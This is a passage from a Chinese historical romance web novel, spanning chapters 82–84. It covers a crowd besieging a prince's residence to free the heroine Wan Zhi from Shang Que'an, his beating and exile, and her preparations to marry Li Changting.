“你告诉阿父,是谁害了你,明烛,你说,你说啊。”薛瑥甫找回女儿,见到的却是薛明烛这般一副惨状,简直怒不可及,势要将背后谋害女儿的人找出来,百倍奉还。
“是不是妧嵘?是不是他那个发妻?还是他的女儿?”
薛明烛与妧嵘接触,薛瑥甫一直知晓内情,此人他并未多喜欢,也就那些谏言,锋利又正合了圣上心意,有些话圣人所不能言的,正好由他来说。
因此官位虽不高,却又占有一席之地。
薛瑥甫阻挠不了,也就睁一只眼闭一只眼,任由薛明烛与妧嵘往来。
她出嫁早,丧夫之后又爱上有妇之夫,薛瑥甫自觉亏欠于她,便想着等日后再给妧嵘一次机会,最好是敲打他一番,让他与其妇人和离,免得拖累于薛明烛。
谁料,没等来这一出,却是明烛失踪,妧嵘下狱的消息。
这让薛瑥甫不得不怀疑起妧家的其他人,是否对妧嵘在外面有其他女子的事知情,尤其是他夫人和女儿。
人心嫉妒起来,既有宠妾灭妻,也有杀夫毁灭丈夫私情的罪名。
可惜,任由薛瑥甫怎么追问,诱哄,薛明烛都做不出回应,她耳聋已经有段时日,时常不记得自己身份。
薛瑥甫在安慰许久后,失望愤怒之极,果断离开这间屋子。
到了屋檐下,他沉声吩咐,“去传话给濉安王府,让他们把一个叫妧枝的女子交出来,否则,我薛瑥甫绝不会放过他们。”
天上一道惊雷炸响,连续多日的炎炎夏日终于迎来一场瓢泼大雨。
郡王府中,历常珽静坐在书房,整个人像失了魂一样。
他本无意与商榷安作对,他知道此人对他亦有所不满,与濉安王府有关的任何人,商榷安都不喜欢。
但妧枝又何其无辜呢,她不过是不想再嫁给他罢了。
本以为将她带回到郡王府,留在身边,她便会不受干扰,谁料商榷安竟这般目无法纪,闯入他的家宅。
他对着桌上研磨好的墨汁,再无法坐视忍耐下去了。
他将让其所作所为大白于天下,于民声中被唾弃,身败名裂,再无法猖狂。
这夜雷声轰鸣,大雨直至白日也不曾停歇。
百官之中,已有人为此奔走,协调好口吻,只等千钧一发之际,对着罪魁祸首狠狠一击。
而濉安王府,李侀刚收获了薛府的来信,他身着官服,皱着眉,周身都透露出被威胁的不悦。
身后所生的儿子们正看着,濉安王妃面色凝重,攥紧手帕,疑似一激动就将愤然起身,骤然晕过去一样。
“外面怎么回事?何方刁民敢来王府跟前闹事?”
今日一早,府里的下人天未亮便起来忙活。
熟料半个时辰刚过,往日来王府送菜的农户都比往常晚了许多,下人见一直未来,便打算出去找,问一问是什么情况。
却见刚走出后门,就被一群要饭的堵在道上,逼回了王府。
不仅如此,就连前门也围了乌泱泱一群人,将巷道堵得水泄不通。
如此架势,濉安王不仅未能前去上朝,家中所有人更是都被困在府里,连去官府通风报信的都没有。
第82章 放人。
为防外面要饭的或是鲁莽百姓趁机冲进来闹事,王府的下人拿起家什,都去前后门守着。
看护亦出来保护主子们。
可是外面的喧嚣不止,早已令附近巷落和勋贵人家都大门紧闭议论纷纷。
妧枝一早醒来,只觉细雨绵绵,然而今日似乎与往日不同,她并未品尝到在有阴凉雨天里舒适的滋味,反倒是眼皮不自觉跳动的很快。
她没有再榻上过多躲懒,便起身喊人进来备水洗漱。
昨日为了让药效起效,她拒绝了让商榷安进屋与她同寝,以免发生一些意外。
本以为商榷安会趁她睡着后又再次闯进来,然而今日一看,她说的话他到底还是有选择听。
妧枝没被打扰,勉强算是安稳了一夜。
但这回早上,婢女来给伺候她洗漱,似乎有些心不在焉,偌大的书行居也是静悄悄的。
在不小心打翻水盆后,哐当的声响令人心弦绷紧。
婢女回过神,立马向妧枝道歉,“是我不好,奴婢有错,妧娘子。”
妧枝手中正拿着帕子擦拭,她观察地上被水浸湿了的地毯,还有赶紧拾起水盆慌慌张张的婢女,将正准备出去拿东西来收拾的婢女,“等等。出了什么事了?你好像心神不宁的样子。”
婢女仰头,眼神里的恐慌当下毕现。
“外边,外边来了许多人,包围了我们王府。”
“官差都进不来,如今都闹着喊着,辱骂大郎君强抢民女,掠夺他人之妇不配为官……”
“妧娘子……家里的人也都来了,正在外面求王爷和王妃,让大郎君将你还回去。”
妧枝震惊抬眸,屋外淅沥的雨声就像在诉说冤情,传达民愤,又惊起一道道惊雷。
商榷安早在正堂中,在所有人注视下看着外边的情形。
府里的小娘子都偎依紧紧跟在母亲身边,李含翎与李屹其兄弟二人正不动声色打着暗号,一个幸灾乐祸,一个面露冷笑。
濉安王身边还有另外一人,近日刚从外地归来的李平川站在父亲身旁,听他最终出声逼问:“你看你做的好事,事到如今,还是不肯认错吗?”
外边民愤民怨,连下雨都阻止不了,一些不要性命的要饭的,吵得闹哄哄。
前门聚集了一些百姓,还有妧家的孤儿寡母为自己女儿声张,这背后若说没有推手,不可能闹出这般大的动静。
与濉安王府作对,那也要顾及到帝王颜面,同是李家人,皇亲贵戚,岂是这些宵小敢来此随意放肆的。
李含翎冷言冷语道:“这阵仗这么大,不出半日整个京都城都会知晓咱们王府出了什么丑事了。”
李屹其附和:“我们都多久没出过这种岔子了,传出去,少不得叫宗亲不耻,旁边人家都看笑话,还有朝堂之上,阿父和大兄再不去上朝,只怕圣上要怪责了。”
“不过这般一闹,时候不早,想必丑事传出千里,早就上了圣上议政的殿堂了吧,这可不妙,只怕连累我们整个王府啊……”
濉安王:“还不将人还回去,天下多少女子由你聘娶,难道非她莫属不成?既然如此在意,当初又为何避之不及?!”
李平川:“为了她一人,惹了民愤,不值得啊大兄,还是仕途要紧。”
商榷安漠然回眸盯视着王府等人,李含翎与李屹其的嘴脸,李平川趋利避害的劝说,濉安王又是当初遇了事,想将他往外推。
而他的母亲,搂着最小的儿子,一如当年那样沉默。
他没有被人在意过。
商榷安:“我有妧嵘亲笔签下的婚书,这段亲事中断过,如今被我重新拾起了。何来抢夺他人之妇?”
“那你就将她送回妧家,否则外面那些声音如何平息?你知不知道多少眼睛盯着你,今□□得你我上不得朝堂,朝中会如何议论你?又有多少人想拉你下马,你莫要以为,你单枪匹马,你借着圣上之势,就能安然抽身?”
濉安王再度逼问。
商榷安没有向他解释,当初亲事,他本就不同意,他又有何错?是李侀偏要撮合他跟妧枝,而今他的反悔都成了所有人鄙夷他的借口。
既然如此,当初又为什么要让人出现在自身眼前呢。
惹了他之后,便对他不管不顾,是不考虑招惹他的后果,是不需要负责?以为他还是多年以前,那个任人摆弄,可以一句话就能打发走的少年郎么。
没有这样的道理。
“我看,干脆还是去书行居把人请出来,交给妧家的人算了。”李屹其出声拿捏主意。
倒不是怕了那些声势,只是名声有毁,对他们王府都不好,他可不想被连累。
只是在他脱口而出这句话后,商榷安的目光如影随形,阴冷而可怖的追随过来,被那样幽幽盯着的李屹其感受到一股凉意,像悬在头上的一把刀。
他若是再多说一句,自身难保。
商榷安:“谁都不许动她。”
他视线里的寒意冰冷刺骨,如同棱锥,在场的人都收到他的警告。
“那你说如今怎么办?”濉安王:“你打算如何解决?”
商榷安未曾回应,而是在李侀说出这些话后,看向门口呼声不断的位置,商榷安侧身,拾起门外的雨具,忽地朝那个方向走去。
下属紧紧跟随,“大郎君……”
商榷安:“打开大门。”
枕戈惊骇,“大郎君!”
商榷安容色坚定,一如孤身一人从他乡闯入京都一样,“打开。”
濉安王府外,官差好不容易拨开人群,只差挥刀相向,方才从当中挤进一条路来。
而雨水即使弄湿了这帮人的衣服,依旧掩盖不掉嘈杂的动静。
“放人!放人!”
“京都枢密院密使为官不仁,欺辱孤儿寡母,抢夺民女!”
“枢密院密使乃濉安王的长子,明知不可为而为之,岂不是包庇自家人,良心何在,这世上可还有公道可言!”
“来人,都听听这位妧娘子的母亲弟兄如何说的。”
平氏:“我乃被商密使掠走的女子的阿母,我阿女早已与锦瀚郡王有了婚约,二人两情相悦,婚事早已定下,吉日指日可待。”
妧酨:“我阿姐的定亲夫婿是锦瀚郡王,他们早在他人目睹下签订婚书。”
“不是商榷安!商榷安不是我姐夫!”
妧家的下人:“那日商密使来掠走我们大娘子……”
濉安王府的门被打开。
在妧家的人逐一控诉商榷安的恶行时,作为罪魁祸首,商榷安从府里出来,他撑着一把伞,俊如修竹,亦有风骨,背后是眼睁睁看着他去阻挡呼声的王府众人。
难以想象这样的人物竟会做出十恶不赦事。
台阶下不知打哪儿而来的百姓,以及妧家的人在他出现后,都涌了上去。
平氏与儿子颇有些愣怔迟疑地看着骤然现身的商榷安,他们在他出现的第一眼莫名觉得熟悉。
他看他们的眼神,仿佛曾经认识过他们很久,而不是才有过几面之缘。
“你不是我姐夫……”
妧酨愤慨难当,曾经懦弱如斯,狼狈不堪,而今也敢冲他义愤填膺,挥起拳头:“你放了我阿姐,你把她关到哪儿去了!”
不被承认,不再像上辈子那样,视他为妧枝的丈夫。
这样的场面,再次回击了当初自视甚高,与妧枝撇清干系的商榷安。
平氏也拒绝认他当女婿,痛哭流涕,“我女儿是清白的呀,你怎可将她私自掠走,毁她一生!你怎么配,怎配与她相守……”
妧枝说得对。
没有人会信他娶过她,和她结为夫妻。
那辈子不过是一场梦,一个振翼,就如涟漪化开,消散了。
“常珽真是不惊人则以,一惊人就有如此手段,不愧为后起之秀啊。”一辆马车中,坐着两道身影,薛瑥甫今日不在朝上,轻拨门窗,往喧闹之处眺望。
他与历常珽都看着濉安王府外面那道被群起而攻之的人影,一个不含表情,一个面带一丝笑意。
“你如何肯定这般就能令商榷安放人出来?”
历常珽敛眸,抬眼,再度看向宛若笑面虎的薛瑥甫,“只要他一日待在濉安王府,他父亲就不会允许他将任何麻烦牵连到家里来。且宰执不是已叮嘱下面百官,一齐弹劾商榷安,今日我等都不再朝堂上,濉安王和他又被困在府中,圣上又要如何去平百官之愤怒呢。”
“你倒是胆大,为了红颜一怒,竟不怕遭他们的报复。”
历常珽:“他欺人太甚,我此举不过是为了救人。”
他盯着薛瑥甫,“还有妧枝,我说过,我可以站在宰执这边,亦能为太子助力,但是妧枝,宰执不可动她。”
薛瑥甫似是陷入沉思,嘴角的笑意莫测,“可怜我那明烛,不过是和一个有妇之夫相好,就被人废了双腿,耳聋眼花,成了哑巴。她的事还被前夫家知晓了,而今还想找上门来要个说法。”
“宰执别忘了,她与妧嵘私通,妧嵘的妇人和子女何其无辜。”
“对对,所以损害了她名声的人,总该付出些代价。”他注视着撑着伞遭受非议的商榷安,犹记得这位与他作对多年的年轻臣子,才是他的心头大患。
历常珽在势头闹得差不多之际,不再与薛瑥甫说话,而是从马车上下来。
该他在群龙无首时,领着众人向商榷安讨回他的阿枝了。
雨水在商榷安出来不久后,有逐渐暂停之势。
屋檐下的水珠如水晶坠落,啪嗒打在油纸伞上,在轻盈的脆响声中炸溅成花。
静谧声随着历常珽的到来,重新变得热闹起来。
平氏与妧酨如同看到希望,在商榷安眼中将历常珽视为依靠,“姐夫……”
“常珽啊。”
历常珽站在他们二人身前,与商榷安四目相对,这般近距离打量,比在马车上时要更加清晰。
成为众矢之的的商榷安身边仅有下属护着,濉安王府内的人都在门内袖手旁观着,他们夹在中间,与历常珽等人相比并非一个量级。
人多势众,也就显得他们越发薄弱。
“你该放人了。”历常珽长话短说。
商榷安看着今日特意来围攻濉安王府,尤其来声讨他的众人,那么多双眼睛或愤怒或别有居心,又或幸灾乐祸地看着他。
像是要扒掉他一层皮,最好能分吃到这位身居高位的郎君身上一块肉,方能感到除之而后快。
他没有一丝惧意,好似早已习惯,“我不会把她让出来的。”
妧枝恨也是他,爱也是他,商榷安总要在她心上占一样。
否则他就什么都没有了。
历常珽:“事到如今,你还要死不悔改?你掠走阿枝这么久,可知她阿母有多担忧,商榷安你太自私了,阿枝根本不爱你。”
“……”
“你自己瞧瞧这些眼睛,你惹了众怒,身为朝廷命官,你该为江山社稷负责,做好你的分内事,可你如今乱用私权,还命人闯入我的郡王府,夺走我的未婚妻。你敢不敢扪心自问,你可有尊重过她的意见?”
面对质问,商榷安仿佛心如止水,“那又如何。”
历常珽面沉如水。
与之相比起来,商榷安依然泰然自若,镇定之极。
“我不需要她爱我。”一点恨,或再多一些,也是能过得很好的。
“放人!”历常珽懒得再与他掰扯,商榷安执迷不悟,他不应再浪费时辰,今日他来此的目的就是为了将妧枝彻底解救出来。
话毕,不等商榷安反应,历常珽便挥手示意,如同得到命令,众人蜂拥而上,就要冲进王府。
而王府的下人以及看护早有准备,纷纷拿起武器抵挡在门口,不让他们进来。
“住手!”
“都站住!别动!”
危机之时,一道声音冲破两边对峙,“阿母,常珽。”
妧枝的身影忽而出现在前庭,商榷安骤然眼神一变,周身气势凌厉如霜,“谁放娘子出来的?”
书行居的下人紧跟着妧枝,婢女一直想上来将她拉走。
而濉安王道:“是我。”
他对商榷安说:“榷安,迷途知返吧,你只是一不小心犯了错,鬼迷心窍。快将别人的女儿,还回去吧。”
他又对众人道:“诸位,都是误会,榷安乃是知书达礼的人,又岂会真的掠夺无辜女子,他不过是心存爱慕,挽留妧娘子在府上做客罢了。”
书行居虽是商榷安的居所,却始终不是禁地,濉安王命亲信亲自走了一遭,彼时院中并没有商榷安的下属在,下人只能眼睁睁看着妧枝被请出去。
而被诸多眼睛看着,妧枝大步走向平氏等人。
她不出来还好,一出来众人便叫嚣着要放她走,此时雨停,街边巷道,就连官府的人也都在帮忙伸张,维持秩序。
就在妧枝要越过商榷安,往家里人靠近时。
商榷安阒然挡在她跟前,但历常珽一早就防备着他会阻拦有所动作,于是与带着随从与商榷安的人对峙起来。
也就这刹那间,他只来得及拽住妧枝的衣角,令她回眸惊讶却又了然地看着他。
“不要走。”商榷安固执朝她挽留。
他可以不顾在场的这些人,将她带回书行居,将这些闹事的通通送入牢狱。
“妧枝!”他语气凝重。
“不要。”他摇头。
可是妧枝只讶异了一瞬,便没有感情地瞥了他一眼,笑意收敛。
她从商榷安手里扯回她的衣角,在那双沉默幽静,一眨不眨的眼珠凝视下,不含一丝犹豫的远离他身边。
第83章 尘埃落定。
“阿姐。”妧酨在妧枝过来后,立刻拉着她到一旁,与平氏将她护着,免得商榷安再碰到她。
妧枝再次脱困,为了不让她身陷旁人目光中被议论,于是很快给她戴上幕篱。
平氏:“快送你阿姐去马车上,我们走。”
妧枝被左右的平氏跟妧酨挡着,妧家的下人在前开路,就这样在另一边起骚乱时,趁人不注意往一旁溜走。
“大娘子,马车就在前面。”
“阿枝,小心脚下。”
妧枝:“阿母,常珽呢?”
平氏:“常珽交代,只消等你出来,就快些带你离开,剩下的他们会自行处理。”
今日官府的差役都来了,可见王府也不会当着所有人的面对外边的人动手。
妧枝在上车前,掀开幕篱,透过缝隙,对那边看了一眼。
她看到历常珽在与商榷安争锋相对,她没有忘记临走时商榷安看她的眼神,像受到了伤,没有一次像今日这样破碎。
她喜悦笑意全无,只有平静跟沉默。
坐进马车中,母女相互偎依,妧酨在旁时刻留意情况,妧枝没有再说话。
历常珽在余光看到妧枝和平氏等人顺利离开这里后,心中放松不少,他看着在濉安王吩咐下,甚至加入到劝阻中的王府里的下人,将商榷安等人挡住,不让他们去追。
而这时,一道劲风从一旁传来。
不知是谁,手持一根重棍从人群中挤出来,用力敲向商榷安的后背,落下沉重的一击,“去死。”
一个人动手,便有第二个。
枕戈阻挡不及,只见越来越多不知什么时候涌过来的暴民围攻起他们,而商榷安身上还有伤,被击中后背,那些棍棒又接连不断落到它处。
连带他们也挂彩不少,“住手!住手!”
“大郎君!”
“什么人,谁派你们来的,竟敢在官差面前行凶!”眼见商榷安遇袭,濉安王登时怒斥,“给本王将这些暴民通通抓起来。”
商榷安遭受到最严重的一棍,是从脖颈及后脑勺打下来,他防不胜防,只感觉一阵头痛欲裂的晕眩呕吐感传来,令他眼冒金星,腰身也弯了下去。
历常珽皱着眉,已在下属的看护拉扯下与他们拉开不少距离。
他带来的人不会弄这么一出,他的目的只为商榷安放人。
这般借机报复,可想而知,背后之人与商榷安定然有深仇大恨。
在撤退之际,他看到商榷安似是缓了过来,他抬起头朝历常珽看过来,俊秀的面容有一种被雨水打湿的惨白,瞳仁乌黑深邃,满身阴霾。
像落汤鸡一样可怜,他张着唇,似是在问:“你满意了?”
妧枝已经彻底从濉安王府离开,今日的事,闹得这样大,风言风语定然很快传遍整个京都。
所有人都会将这当做茶余饭后的谈资,能让位高权重的商密使能堕入泥潭,狠狠栽个跟头,名声抹上一道污点,也就只有莫名令密使大人执迷不悟的她了。
朝堂之上,圣人坐在高堂之处,居高临下俯瞰争闹不休的朝臣。
以薛瑥甫为首的一派,对未能出现在这里的枢密院密使失格一事始终不肯罢休,“朝议百官都应在场,商密使却连告假都没有,也未有分毫请示,就不将此当一回事,他这是不将公事放在眼里,无视圣上,冒犯天威。”
也有臣子帮其说话,“也许事出有因,商密使被困住了呢。”
“濉安王府外面闹了一场笑话,罪证确凿,其私藏他人议亲的未婚妻,品行堪忧,连京都百姓都有所耳闻,这简直是堕了我们百官的颜面。这让我等今后出去,如何面对百姓?”
“圣上,商密使虽清除乱党有功,可功不掩过,他这般是让我们做臣子的,失信于天下,还请圣上对他加以惩治,以肃纲纪!免得乱了朝中清白刚正的队伍。”
“臣主张对他进行彻查,且妧嵘下狱,是否有公报私仇之嫌,目的是为了霸占其女儿……”
“圣上。”
“圣上……”
不断有臣子站出来请愿,希望圣人能清剿商榷安,放眼望去,近乎占了一大半,而小部分臣子则为了明哲保身,即使另有想法,也都静观其变。
“……”
王府中,在热闹了一上午后,宅内外终于人潮散去恢复清净。
偌大的院子里,受了伤的商榷安正在重新接受包扎,大夫为他清理腰上伤口,不知被谁捅到了伤处,之前稍微愈合的口子又重新裂开,迸出血来。
后脖颈有一道被棍棒划伤的破皮的痕迹,红肿且微微透着青紫,商唯真捏着帕子,红着眼眶在旁忍不住落下泪珠,“阿兄,你怎么这么傻。”
她不满地瞪向同样受了不少皮肉伤的枕戈等人,“阿兄都伤成这样,你们就任由那帮人打他?”
枕戈惭愧低头,与其他下属闷声不说话。
当时人多,他们府里的就在袖手旁观,大郎君也不肯躲,似是非要发泄心中那点戾气不满,竟硬生生挨了好多下。
他们即使使出铜墙铁壁,也阻止不了那么多涌上来的利器。
商唯真对商榷安如今落得这般田地心疼不已,妧枝一走,阿兄如失了魄一般,更加寡言少语,竟不惜这般虐待自己。
在大夫为商榷安上好药后,商唯真坐到床榻旁,挨着闭上双目面无表情的商榷安,恨不得代为受过。
她打量他身上的伤,轻声愤然地说:“值得吗阿兄?何必再为一个不在乎你的人感到留念?你对她就算千般万般在意,这些时日她可有将你放在眼里?都是别人。”
商榷安还是没有动静。
而商唯真更加心疼,伸出手犹豫,像是在想要还是不要去触摸商榷安身上的伤。
她还是颤颤摸到他腰上,那里是她所见商榷安身体伤口最狰狞的一次。
留下的都是刀口,可见对方下了多大的狠手,商唯真喃喃念道:“她怎么这么狠,她怎么这么狠?”
“……”
妧府,阔别多日,妧枝回到家中。
下人按照平氏吩咐,将大门紧紧上锁,最近除非熟人上门,或是外出买菜,方能进出,其余时候都不打算把门开着,给人机会进来。
妧枝便是几次在这种不设防中被掠走,如今为了她的安危着想,亦为了防止濉安王或是商榷安报复,平氏都没有让她单独一个人。
府里安排了下人守着,妧枝身边也有弟妹陪着,总之不会再给机会让商榷安得手。
“阿枝。”
历常珽来到妧家看望她,二人重聚,妧枝换了一身常在府里自己的衣裳,没有束缚,即使素容也十分清艳。
一见面,历常珽便将妧枝抱紧。
二人身边没有别人,妧枝安心地靠在历常珽的胸膛,很长一段时间都没有交流,而是用心感受彼此。
过了良久,历常珽才问:“你怎么样?”
他知道近来妧枝被囚困在商榷安身边,肯定是不尽人意,但还是问了。
妧枝掀起眼帘,看着担忧她的历常珽,柔声道:“我经常想起你,以为会再也见不到你。但我知道你会来救我。”
历常珽将她搂紧:“我犯了错,太自以为是,以为把你带回郡王府就能保你安然无恙,没想到……”
他想到此便愧疚万分。
妧枝轻抚他的眉眼,安慰说:“已经过去了,这不是你能掌控的,往事不要再提。”
历常珽只能道:“没有下次了,阿枝。以后,我都不会让他带走你。”
妧枝轻轻点头。
二人在房中相互宽慰问候,一直到平氏来到房门外,敲门来问:“阿枝,常珽,可都说完话了?该出来用饭了。”
黄昏之下,整个妧府弥漫着劫后余生的宁静。
在饭桌上,平氏看着正在相互夹菜的两人,心中有着说不出的熨帖,她所想的女儿的幸福便是有这样一个有担当有责任的男子能照顾女儿,而不是像那位那样,出手便是阴晴不定的手段,总是叫人提心吊胆,不大安定。
“此次回来,多亏了常珽相助,才能让阿枝全身而退。”平氏举起茶杯,“实在不是如何感谢你才好,这次就以茶代酒,让我这个做阿母的敬你一杯。”
历常珽:“世母客气了,阿枝这般遭遇,也是我的失责,是我没照看好她。你们不怪我就好。”
妧酨道:“常珽阿兄才是客气了,若不是你,我与阿母定然求救无门。我也敬你。”
桌上因妧枝平安归家的气氛正浓。
倏地平氏问:“这次这般做法,虽好可是架势太惊人了,王府那样的地方,闯了当真没事吗?会不会于你不好?”
妧枝也看向他。
她尚且不知历常珽是怎么做到这些的,应当也十分凶险,欠了许多人情。
历常珽在桌下安抚的与她牵着手,对着平氏实则看着妧枝道:“世母放心就是,这都是我应当做的,都在我分寸之内,邪不压正罢了。”
平氏点头,“那就好,那就好。”
思及薛瑥甫那边,历常珽想了想,还是没有交代出与他做了什么交易。
妧枝帮他在喝完的杯子里重新斟上一杯茶,接着又听平氏道:“有件事我想了很久。”
“既然阿枝已平安归来,你们二人在一起多有不易,我担心恐生变化,你们二人的亲事,是不是也该提前了?”
历常珽与妧枝相视一眼,只听他道:“的确,我早有这般想法。”
他们二人迟迟未成亲,就代表一日不会安定。
只有妧枝真正嫁给历常珽,也许这场闹剧方才尘埃落定。
不日,甘府代表郡王府的长辈,前来定下成亲的吉日,历常珽和妧枝本意都想从简,但日子和规矩都不可废,即便再快,也得准备上一个多月。
也是在临近婚期时,妧枝听说了朝堂之上传的沸沸扬扬的言语。
那消息惊天动地。
在历常珽如常来到妧家的那日,窜入他们耳中,“枢密院密使被贬了……那商榷安被圣上打发走,不日就要离京。”
“贬的好啊,如此作恶多端,多行不义必自毙!”
“他还掠走我家娘子,真是苍天有眼,皇天不负有心人。”
“谁叫他为官不仁,这下好了,自作孽不可活……这京中少了一大恶臣,是多少人之幸事。”
“……”
妧枝初时微讶,在听了片刻后,与历常珽相视那一刻,复杂的情绪在旁人你一句我一句大快人心的称赞中,由急到缓,由缓到慢,逐渐沉淀下来,变得平静。
虽然知晓与她有关的人和事,甚嚣尘上,但这么久,回到妧家的日子她并没有等待商榷安的报复。
她甚至已经许久不曾听到此人的名字,久到她以为,他们的往事已经彻底沦为烟消云散的程度。
而此次,随着商榷安的离京远走,只怕他们之间的联系,终究落下帷幕。
第84章 庆功宴。
城门外,两辆轻简的马车出现在官道上,一辆装着行李,另一辆搭载着出行的人。
商榷安骑坐在马背上,目光望向后方的京都城门。
目光悠远深长,另一辆马车上,一个女子推开窗,商唯真从内里探出头来,紧望着马背上的身影,“阿兄,别再看了,没什么好瞧的。”
她似是不想让商榷安对着那个方向充满留恋,如今被贬路上,商榷安也应当对某个人大失所望,彻底死心才对。
那个人是不会来的,她或许在知晓商榷安被贬出京城,会与其他人一样拍手称快才是。
但商榷安未予回应,依旧在商唯真不满的视线中静静看了一会儿他离开的这座城,一直到身旁策马的下属再次出声提醒,“大郎君,离京的时辰不早了,再不走,就没法在下一个驿站歇息了。”
商榷安这才收回目光,他拉着缰绳将马调头,在商唯真愤愤不平念叨他的时候,“你可以不用跟过来,在外不比在京中的日子好过。”
商唯真却道:“除了跟着你,我还能去哪儿?你伤势未痊愈,我得照顾你。”
商榷安默然不语,眼窝明显更加深邃,挺拔的身骨都消瘦下去,整个人像失了剑鞘的利刃更加锋利。
他没有再在此停留,而是在众人目光中策马先行,飞驰了出去。
京都城内,对这日被贬的密使大人离京的消息,议论的热闹非凡。
且持续了不止一日,但即使再沸沸扬扬,风风雨雨,都与妧枝再无关系。
她如今正等待嫁期,在吉日来前,准备好自己的喜服,还有她出嫁后妧府交给妧酨妧柔打理的事宜。
弟妹已经长大,妧柔虽然还小,但在妧枝心中,聪慧的妹妹比平庸的弟弟还要能干许多。
这些日子妧枝都会将他们二人带在身边教导,历常珽也常来妧府,不见避嫌之说。
通常他们已经会看人眼色,知晓历常珽一来,就不会过多打扰他与妧枝,给二人腾出独处的空间。
“你又给我带了什么?”在无人打扰的厅堂,妧枝一眼就看到历常珽来后手里提的东西。
他经常在来看她时捎些好吃的过来,妧枝虽不贪嘴,却也十分乐于和历常珽在闲坐时吃喝玩乐。
她上辈子出嫁不算早,却很早就承担起照顾家里的责任,并不贪玩,加之后来出了许多事情,妧枝心性已经许久未曾像今日这般放松了。
历常珽牵着她的手,一起坐在椅子上,不期然往她手腕上套了一圈珍珠,“听说海上有座蓬莱岛,那边的渔女经常采珠,奇货可居,色泽更好。京中刚有商人送来了一批,很多娘子喜欢,我便买下来了。”
妧枝手上这串紫珠颇为雅致,更衬托出她的肤白细腻,她收到历常珽带来的礼,不光是为了这串珍珠,更是为了他的心意,笑容多了一丝甜蜜。
轻声道:“好了,又叫你破费了。但我很喜欢。”
她坐在历常珽身边,感到安然,这就是她一直期望的日子,有个相伴的对她一心一意的郎君,这辈子对她来说就是最幸福的生活。
妧枝头偏到历常珽肩上,靠着他,不经意谈起两人的媒人周老夫人。
历常珽道:“祖母最近又有些不好,但她说能撑到我们成婚那日,让我们不要过多担忧。”
妧枝这边出了这么多事,甘府并非不知情,朝堂之上也有甘家人里外迎合,帮助良多。
但她担心自己的身上的麻烦会牵连到他们,是以已经好些时日不曾登门拜访了。
妧枝:“怎么会这样,可有让大夫看过?之后怎么说?”
历常珽:“还是那些老话,让多加留意,能吃能喝就行,其他的,顺应天意。”
周老夫人的寿命本就是这辈子强求来的,已经比上一世多活了好些时日,能够在最后的日子里无病无痛的离开,就算喜丧。
妧枝感受到历常珽的低落,与他陪伴了一会,道:“那等什么时候有空,我去府上拜访探望一下老太君。”
“就瞧瞧,不多打扰她。”
历常珽知道她的顾虑,应声,“好,祖母见到你,一定会很高兴的。”
妧枝现在外,名声算不得好,未婚女子总惹来许多非议,尤其在事情过后,濉安王府也算经历了大方大浪,很快反应过来扭转京中说词。
“这一个巴掌拍不响,若不是有人不守妇道,勾引他人,如何会被这般对待?”
“是啊!她一个未婚女子,听说前后议亲了不止一个男子,怎么世上女子就她最为金贵?那么多好儿郎都不够她挑,还要挑三拣四?”
“听闻,那前任密使是最先与她议亲的呢,连婚书都有,只是不知为何二人中途有了误会,才告一段落。”
“那不就更有说头了?怕是原先议亲,想攀高枝,也许是被商密使识破,方才不想娶她!还说,她如今这位定亲的夫婿,就是在王府的花坞里,主动结识的呢。”
“啊这……”
“岂不是对刚才的话,一语成谶……”
这些歪曲的风言风语,妧枝偶尔也有所耳闻,却不肯放在心上,她早有预料世上总不会对她太过宽容,她已经过了一门心思钻牛角尖的年纪了。
旁人如何想她,与她何干,他们越不想她好,她却不受影响活得好好的,才是戳人肺管子,疼旁人心肝。
她不会浪费大好时光在这些多嘴多舌上面。
只是,还是有些例外。
……
甘府,周老夫人在略有些好转时,又生了一场风寒,于是卧榻数月,让恢复些许精神气的她又不禁倒下。
这些日子,虽未出门,但对京都里发生的事大多知悉。
尤其牵扯到历常珽,她日日都会问询一番,即使病了,甘府的人也不敢欺瞒她太多。
好在眼下雨过天晴,妧枝与历常珽上门来看她,周老夫人强打起精神来接待他们。
“祖母,不必起,我和阿枝来探望你,大夫说你眼下最要紧还是歇息。”
周老夫人还是被扶着坐起身,许久未见妧枝,她一如既往面露微笑,只是面容苍老不少,眉间微微发青,“阿枝来了。”
妧枝站在历常珽身旁,直到周老夫人让她上前,她才上前。
她心里悄悄松了口气,纵然她不太关心旁人对她的看法,但真正在意的人还是能影响到她半分。
不知周老夫人得知近来发生在她身上的事,是否会介怀她还和历常珽在一起。
“老太君。”
似是看穿她的犹豫,周老夫人还和以前一样,让她坐到床榻边,与她话着家常。
“家里可都还好?你阿母撑着家中,可不要太过劳累伤了身子。弟妹可都听话?”
妧枝点头。
“都好。”
周老夫人这才放心似得舒了口气,“那就好。”
说话间,她打量妧枝,正好看到她手上戴的紫珠手链,“这东西好看,十分衬你。”
妧枝老实道:“是常珽送我的,他的眼光好。”
周老夫人闻言,瞬间又流露出一丝笑,妧枝观她对自己好像没有太多观感不好的印象,登时少了许多不安。
“老夫人……”
“我素来听了一些传闻,但我知晓你不是这样的人,你与常珽能在一起有着诸多不易,今后也要多多相扶相助。要知道,祖母盼着你们好呢。”
妧枝面露感动,和历常珽相视一眼,再次点了点头,像周老夫人保证道:“阿枝定不负老夫人所望,会和常珽好好在一起。”
后来周老夫人又交代了些事宜,盼着他二人早日成婚,不到几句话便面露疲意。
妧枝与历常珽不好再多加打扰,于是从她房中退了出去。
站在门外,历常珽看出她与刚进门时神色不同,仿佛提着的心微微放下了,含笑道:“是不是以为祖母会怪罪你?”
妧枝难得窘迫道:“是有一丝压力,万一让她失望,我总是于心不安。”
历常珽安抚地拍了拍她的肩,“祖母不是是非不分之人,如若如此,当初就不会想撮合我与你了。”
妧枝并非不懂个中道理,但世上并不是所有人都像周老夫人那样,始终对她心存善意。
她与历常珽并排向外面走,这次她能得救,甘府的长公子甘贯轩在朝堂上也出了不少力,只是今日他不在家中,便没有与他叙旧。
二人在甘府坐了会客,妧枝便被历常珽送回到妧府。
如今唯一的威胁不在京都,连天都是晴的。
然而正当妧枝在历常珽陪同下进屋,却在妧家的正堂看到府里的管事,正在接引一位面生的客人。
历常珽一见到对方,便不自觉皱起了眉。
而对方看到他们回来,竟不需管事介绍,便朝着历常珽和妧枝走来。
“郡王和妧娘子回来了。”来人自报家门,“在下是薛府的管事,来此是承我们主家之命,来给郡王和妧娘子送帖子的。”
说罢,对方直接将请帖递到他们手上。
“还请两位过目。”
妧枝一听来人出自薛府,便与历常珽一样,目光微愣,然后神情淡了下来,仔细打量。
帖子的笔墨上,赫然提到了庆功宴。
“这是什么?”
